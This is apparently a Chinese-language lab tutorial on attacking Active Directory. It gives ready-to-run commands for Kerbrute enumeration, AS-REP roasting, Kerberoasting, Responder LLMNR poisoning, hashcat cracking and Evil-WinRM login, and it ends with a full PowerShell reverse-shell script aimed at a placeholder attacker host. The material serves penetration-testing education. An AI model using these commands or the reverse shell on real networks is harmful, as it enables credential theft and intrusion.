在現代企業的主動目錄(Active Directory)環境中,攻擊者往往利用協議層的設計缺陷與組態不當來達成滲透目的。本篇文章以實戰演練的方式,揭示一個從零開始的完整攻擊鏈。其核心在於演示如何將初期偵察所獲得的網路拓撲與使用者資訊,轉化為具體的攻擊向量。文章深入探討 Kerberos 協議的數種攻擊手法,例如 AS-REP Roasting 與 Kerberoasting,並結合 LLMNR 毒化等中間人攻擊技術,展示多種竊取與破解使用者憑證的途徑。最終,這些被竊取的憑證將成為橫向移動與權限提升的關鍵鑰匙,突顯了在複雜網路環境中,憑證安全與身分驗證管理的至關重要性。
偵測與發動攻擊:企業網路滲透實戰
玄貓認為,在企業網路滲透測試中,精準的偵測與策略性的攻擊發動是成功的關鍵。我們已經建立了企業實驗室,並在Kali Linux上準備了必要的工具。現在,是時候開始深入探索這個我們被「丟入」的網路了。本節將引導您使用各種工具來枚舉目標主機、使用者帳戶,並利用Kerberos協議的弱點來獲取憑證,最終為進一步的攻擊鋪平道路。
1. 網路偵測與主機枚舉:
1.1. 繞過傳統掃描工具:
- 玄貓建議,我們可以繞過
rustscan和nmap,直接使用NetBIOS名稱來枚舉主機。 - 在您的Kali Linux VM上,執行以下命令來掃描當前子網路:
nbtscan 172.16.0.0/24
- 您應該會看到我們的兩台電腦:
DC01和WIN10-WS(或類似名稱)。
1.2. 資訊收集與enum4linux:
- 透過
nbtscan的結果,我們可以判斷DC01是網域控制器。 - 為了獲取更多資訊,我們將針對
DC01執行enum4linux命令:
enum4linux 172.16.0.2
- 預期的結果將顯示網域名稱
LABCORP以及其他潛在資訊。
2. 使用者帳戶枚舉:
2.1. 利用Kerbrute進行使用者枚舉:
- 從這裡開始,我們將嘗試枚舉網域中的使用者數量。我們可以使用之前安裝的
Kerbrute工具來枚舉使用者。 - 玄貓建議您準備一個使用者名稱列表,例如
users.txt,其中包含可能的帳戶名稱,例如:
admin
root
operator1
operator2
operator3
scada
scada-user
scada1
scada2
- 然後執行以下命令:
./kerbrute_linux_amd64 userenum Industrial_Pentesting/users.txt -d labcorp.local -dc 172.16.0.2
- 您應該會看到成功枚舉到幾個合法使用者。
3. Kerberos攻擊與憑證獲取:
3.1. 檢查Kerberos預先驗證狀態:
- 接下來,我們將利用之前安裝的Impacket工具的子功能。
- 特別是,我們將使用
impacket-GetNPUsers命令來發現是否有任何AD使用者禁用了Kerberos預先驗證。 - 首先,檢查
Administrator帳戶:
impacket-GetNPUsers labcorp.local/Administrator -dc-ip 172.16.0.2 -no-pass
- 正如預期的那樣,
Administrator帳戶的預先驗證是啟用的。
3.2. 獲取禁用預先驗證的帳戶哈希:
- 現在,嘗試另一個帳戶。如果您還記得在AD使用者設定中我們為
operator2禁用了預先驗證,那麼執行以下命令應該會得到一個好的回應:
impacket-GetNPUsers labcorp.local/operator2 -dc-ip 172.16.0.2 -no-pass
- 您會看到,我們已經為
operator2找到了哈希值。
3.3. 破解Kerberos哈希:
- 我們可以使用
hashcat來破解這個哈希值。使用以下程式,模式m 18200用於Kerberos:
sudo hashcat -m 18200 operator2.hash /usr/share/wordlists/rockyou.txt
- 破解這個哈希可能需要很長時間,這取決於密碼的複雜性。但是,如果您保持本章前面設定的參數,破解
operator2的密碼只需幾秒鐘。 - 您可以看到密碼已經附加到Kerberos哈希的末尾,這表明我們已經成功破解了哈希。
4. 利用憑證進行進一步探索:
4.1. 使用Impacket進行AD使用者枚舉:
- 有了這些新發現的憑證,我們可以遠端登入系統,或者使用Impacket進行進一步的探索。
- 由於本節的主題是「偵測與發動攻擊」,我們將使用這個帳戶進行進一步的探索。執行以下命令:
impacket-GetADUsers -all labcorp.local/operator2 -dc-ip 172.16.0.2
- 這將使用
operator2的憑證枚舉所有AD使用者。
4.2. Kerberoasting攻擊:
- 繼續探索,我們將利用另一個Impacket工具,透過Kerberos的預設行為來提取服務帳戶。
- 執行以下命令:
impacket-GetUserSPNs labcorp.local/operator2:Password2 -dc-ip 172.16.0.2 -request
- 玄貓提醒,這是一種可怕的攻擊,因為它不需要使用提升的權限。
此圖示:企業網路偵測與攻擊流程
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
participant "滲透測試者 (玄貓)" as pentester
participant "Kali Linux VM" as kali_vm
participant "Windows Server 2019 DC" as dc_server
participant "Windows 10 Workstation" as win10_ws
box "偵測階段"
pentester -> kali_vm : 執行 nbtscan 172.16.0.0/24
kali_vm -> dc_server : 掃描 NetBIOS
kali_vm -> win10_ws : 掃描 NetBIOS
kali_vm --> pentester : 顯示 DC01, WIN10-WS
pentester -> kali_vm : 執行 enum4linux 172.16.0.2
kali_vm -> dc_server : 枚舉資訊
kali_vm --> pentester : 顯示 LABCORP 網域名稱
pentester -> kali_vm : 執行 kerbrute userenum users.txt -d labcorp.local -dc 172.16.0.2
kali_vm -> dc_server : 枚舉使用者
kali_vm --> pentester : 顯示合法使用者 (例如: operator1, operator2, operator3)
end box
box "Kerberos攻擊階段"
pentester -> kali_vm : 執行 impacket-GetNPUsers labcorp.local/Administrator -dc-ip 172.16.0.2 -no-pass
kali_vm -> dc_server : 檢查 Administrator 預先驗證
kali_vm --> pentester : 顯示 Administrator 預先驗證已啟用
pentester -> kali_vm : 執行 impacket-GetNPUsers labcorp.local/operator2 -dc-ip 172.16.0.2 -no-pass
kali_vm -> dc_server : 檢查 operator2 預先驗證
kali_vm --> pentester : 顯示 operator2 哈希值
pentester -> kali_vm : 執行 hashcat -m 18200 operator2.hash /usr/share/wordlists/rockyou.txt
kali_vm --> pentester : 顯示 operator2 密碼 (例如: Password2)
end box
box "利用與探索階段"
pentester -> kali_vm : 執行 impacket-GetADUsers -all labcorp.local/operator2 -dc-ip 172.16.0.2
kali_vm -> dc_server : 使用 operator2 憑證枚舉 AD 使用者
kali_vm --> pentester : 顯示所有 AD 使用者資訊
pentester -> kali_vm : 執行 impacket-GetUserSPNs labcorp.local/operator2:Password2 -dc-ip 172.16.0.2 -request
kali_vm -> dc_server : 執行 Kerberoasting 攻擊
kali_vm --> pentester : 提取服務帳戶 SPN 哈希
end box
@enduml看圖說話:
此圖示詳細描繪了玄貓在企業網路環境中進行偵測與發動攻擊的整個流程。首先是偵測階段,玄貓利用nbtscan和enum4linux工具來枚舉網路中的主機(DC01, WIN10-WS)和網域資訊(LABCORP),隨後使用Kerbrute工具成功枚舉出網域中的合法使用者帳戶。進入Kerberos攻擊階段,玄貓利用impacket-GetNPUsers工具檢查使用者帳戶的Kerberos預先驗證狀態,並成功獲取了禁用預先驗證的operator2帳戶的哈希值。接著,玄貓使用hashcat工具成功破解了這個哈希,得到了operator2的明文密碼。最後是利用與探索階段,玄貓利用獲取的operator2憑證,透過impacket-GetADUsers枚舉了所有AD使用者,並進一步使用impacket-GetUserSPNs執行了Kerberoasting攻擊,成功提取了服務帳戶的SPN哈希。整個流程展示了從基礎偵測到利用Kerberos弱點獲取憑證,再到進一步探索網域資訊的完整滲透測試鏈,突顯了資訊收集和憑證竊取在企業網路攻擊中的關鍵作用。
偵測與發動攻擊:企業網路滲透實戰(續)
玄貓認為,在企業網路的滲透測試中,持續的資訊收集、憑證竊取與利用是核心環節。上一節我們成功地透過Kerberoasting獲取了operator2的密碼。本節將進一步展示如何利用GetUserSPNs獲取更多服務帳戶的哈希,並透過Responder工具捕獲網路中的NTLM哈希,最終利用這些憑證獲取目標系統的shell。
1. 服務帳戶哈希提取與破解:
1.1. 提取服務帳戶SPN哈希:
- 執行
impacket-GetUserSPNs命令後,您應該會觀察到operator3的SPN已被識別。這來自於上一節的Kerberos配置部分。 - 我們再次找到了一個哈希,它看起來是Kerberos格式,但與之前不同。經過一些基本研究,我們意識到它以TGS格式儲存。
1.2. 破解TGS格式哈希:
- 現在,我們將使用
hashcat來破解這個哈希,執行以下命令:
hashcat -m 13100 operator3.hash /usr/share/wordlists/rockyou.txt
- 哈希將成功被破解,您將收到輸出,顯示
operator3的密碼。
2. 網路流量嗅探與NTLM哈希捕獲:
2.1. 啟動Responder:
- 接下來,我們將運行
Responder。Impacket用於安裝此工具。 Responder允許我們偽造SMB請求並毒化Link-Local Multicast Name Resolution (LLMNR),以捕獲網路中的Windows New Technology LAN Manager (NTLM) 哈希。- 我們將使用以下命令啟動
Responder:
sudo responder -I eth1
- 您應該會看到毒化器正在運行,並且伺服器已啟動並正常工作。
2.2. 觸發NTLM哈希捕獲:
- 現在,由於我們有一個相對靜態的實驗室環境,請連接到您的Windows 10 VM並打開瀏覽器以開始捕獲。
- 在瀏覽器中輸入一個字串(例如:
\\nonexistent_share),這將觸發LLMNR查詢,導致Responder捕獲哈希。 - 如果一切設定正確,
operator1的NTLM哈希應該會被Responder記錄下來。
2.3. 破解NTLM哈希:
- 我們將像之前一樣使用
hashcat來破解operator1的密碼。執行以下命令:
hashcat -m 5600 operator1.hash /usr/share/wordlists/rockyou.txt
- 您應該能夠很快地破解密碼,並看到結果。
3. 獲取Shell與後滲透:
3.1. 利用Evil-WinRM獲取Shell:
- 現在我們有三組憑證和另外五個使用者名稱列表,我們可以利用這些憑證來存取企業電腦。
- 我們將使用
Evil-WinRM、Impacket-psexec和PowerShell來利用各種漏洞以獲取對Windows主機的存取權限。 - 為了檢查我們是否可以獲取shell,我們將首先使用
Evil-WinRM和以下憑證:operator2和Password2。執行以下命令:
evil-winrm -i 172.16.0.4 -u operator2 -p Password2
- 如果本章第一部分的所有設定都成功,您應該會獲得一個
Evil-WinRMshell。
3.2. Evil-WinRM的後滲透模組:
- 現在我們已經獲得了第一個shell,是時候看看它能做什麼了。
- 輸入
menu命令後按Enter。然後,將出現一個後滲透模組列表。
3.3. PowerShell反向Shell:
- 為了識別PowerShell技術,我們將使用「Reverse Shell Cheat Sheet」。
- 以下程式碼顯示了我們需要重新連接到Kali Linux VM的PowerShell命令:
$client = New-Object System.Net.Sockets.TCPClient("YOUR_KALI_IP", YOUR_KALI_PORT);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
此圖示:憑證竊取與Shell獲取流程
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
participant "滲透測試者 (玄貓)" as pentester
participant "Kali Linux VM" as kali_vm
participant "Windows Server 2019 DC" as dc_server
participant "Windows 10 Workstation" as win10_ws
box "服務帳戶哈希提取與破解"
pentester -> kali_vm : 執行 impacket-GetUserSPNs labcorp.local/operator2:Password2 -dc-ip 172.16.0.2 -request
kali_vm -> dc_server : 提取 operator3 的 TGS 哈希
kali_vm --> pentester : 顯示 operator3.hash
pentester -> kali_vm : 執行 hashcat -m 13100 operator3.hash /usr/share/wordlists/rockyou.txt
kali_vm --> pentester : 顯示 operator3 破解後的密碼
end box
box "網路流量嗅探與NTLM哈希捕獲"
pentester -> kali_vm : 執行 sudo responder -I eth1
kali_vm --> pentester : Responder 啟動並運行
pentester -> win10_ws : 在瀏覽器中輸入 \\nonexistent_share
win10_ws -> dc_server : 發送 LLMNR/NBT-NS 查詢
kali_vm <- win10_ws : Responder 捕獲 operator1 的 NTLM 哈希
kali_vm --> pentester : 顯示 operator1.hash
pentester -> kali_vm : 執行 hashcat -m 5600 operator1.hash /usr/share/wordlists/rockyou.txt
kali_vm --> pentester : 顯示 operator1 破解後的密碼
end box
box "獲取Shell與後滲透"
pentester -> kali_vm : 執行 evil-winrm -i 172.16.0.4 -u operator2 -p Password2
kali_vm -> win10_ws : 使用 WinRM 協議嘗試登入
win10_ws --> kali_vm : 成功建立 Evil-WinRM shell
kali_vm --> pentester : 顯示 Evil-WinRM shell
pentester -> kali_vm : 在 Evil-WinRM shell 中輸入 menu
kali_vm --> pentester : 顯示後滲透模組列表
pentester -> kali_vm : 準備 PowerShell 反向 Shell 命令
kali_vm --> pentester : 顯示 PowerShell 反向 Shell 程式碼
end box
@enduml看圖說話:
此圖示詳盡地展示了玄貓在企業網路滲透測試中,從服務帳戶哈希提取到最終獲取目標系統shell的連貫流程。在服務帳戶哈希提取與破解階段,玄貓利用impacket-GetUserSPNs成功從網域控制器中提取了operator3的TGS格式哈希,並透過hashcat進行破解。隨後進入網路流量嗅探與NTLM哈希捕獲階段,玄貓在Kali Linux上啟動Responder,並透過在Windows 10工作站上觸發LLMNR查詢,成功捕獲了operator1的NTLM哈希,並再次使用hashcat將其破解。最後是獲取Shell與後滲透階段,玄貓利用破解出的operator2憑證,透過Evil-WinRM工具成功獲取了Windows 10工作站的shell,並展示了Evil-WinRM的後滲透模組功能,以及準備PowerShell反向Shell的程式碼。整個流程清晰地描繪了從憑證竊取、破解到利用憑證獲取遠端控制權的完整攻擊鏈,突顯了滲透測試中資訊利用的關鍵性。
縱觀現代企業攻防的複雜生態,本文所演示的滲透流程不僅是技術操作的指南,更是一套系統性思維的實踐。其核心價值並非單純掌握 impacket 或 hashcat 等工具,而在於揭示了如何將零散的偵測情報、協議弱點與憑證漏洞,有機地串聯成一條高效、連貫的「攻擊鏈」。此過程深刻剖析了企業防禦體系中的關鍵瓶頸:最致命的風險往往並非深奧的零日漏洞,而是潛藏在 Kerberos、LLMNR 等基礎架構中,因管理疏失而產生的系統性脆弱性。
展望未來,攻防的焦點將從單點工具的對抗,轉向對完整「身分與存取生命週期」的掌控。能夠繪製並利用這條從初期偵察到取得控制權的完整路徑,將成為區分一般執行者與頂尖專家的關鍵。
玄貓認為,理解並模擬這套完整的攻擊思維,已不再是滲透測試者的專利。對於資安管理者與架構師而言,這代表了一種從被動防禦轉向主動預視威脅的核心戰略能力。將這種「攻擊者視角」內化為一種常態化的檢視修養,才是打造真正具備深度韌性防禦體系的根本之道。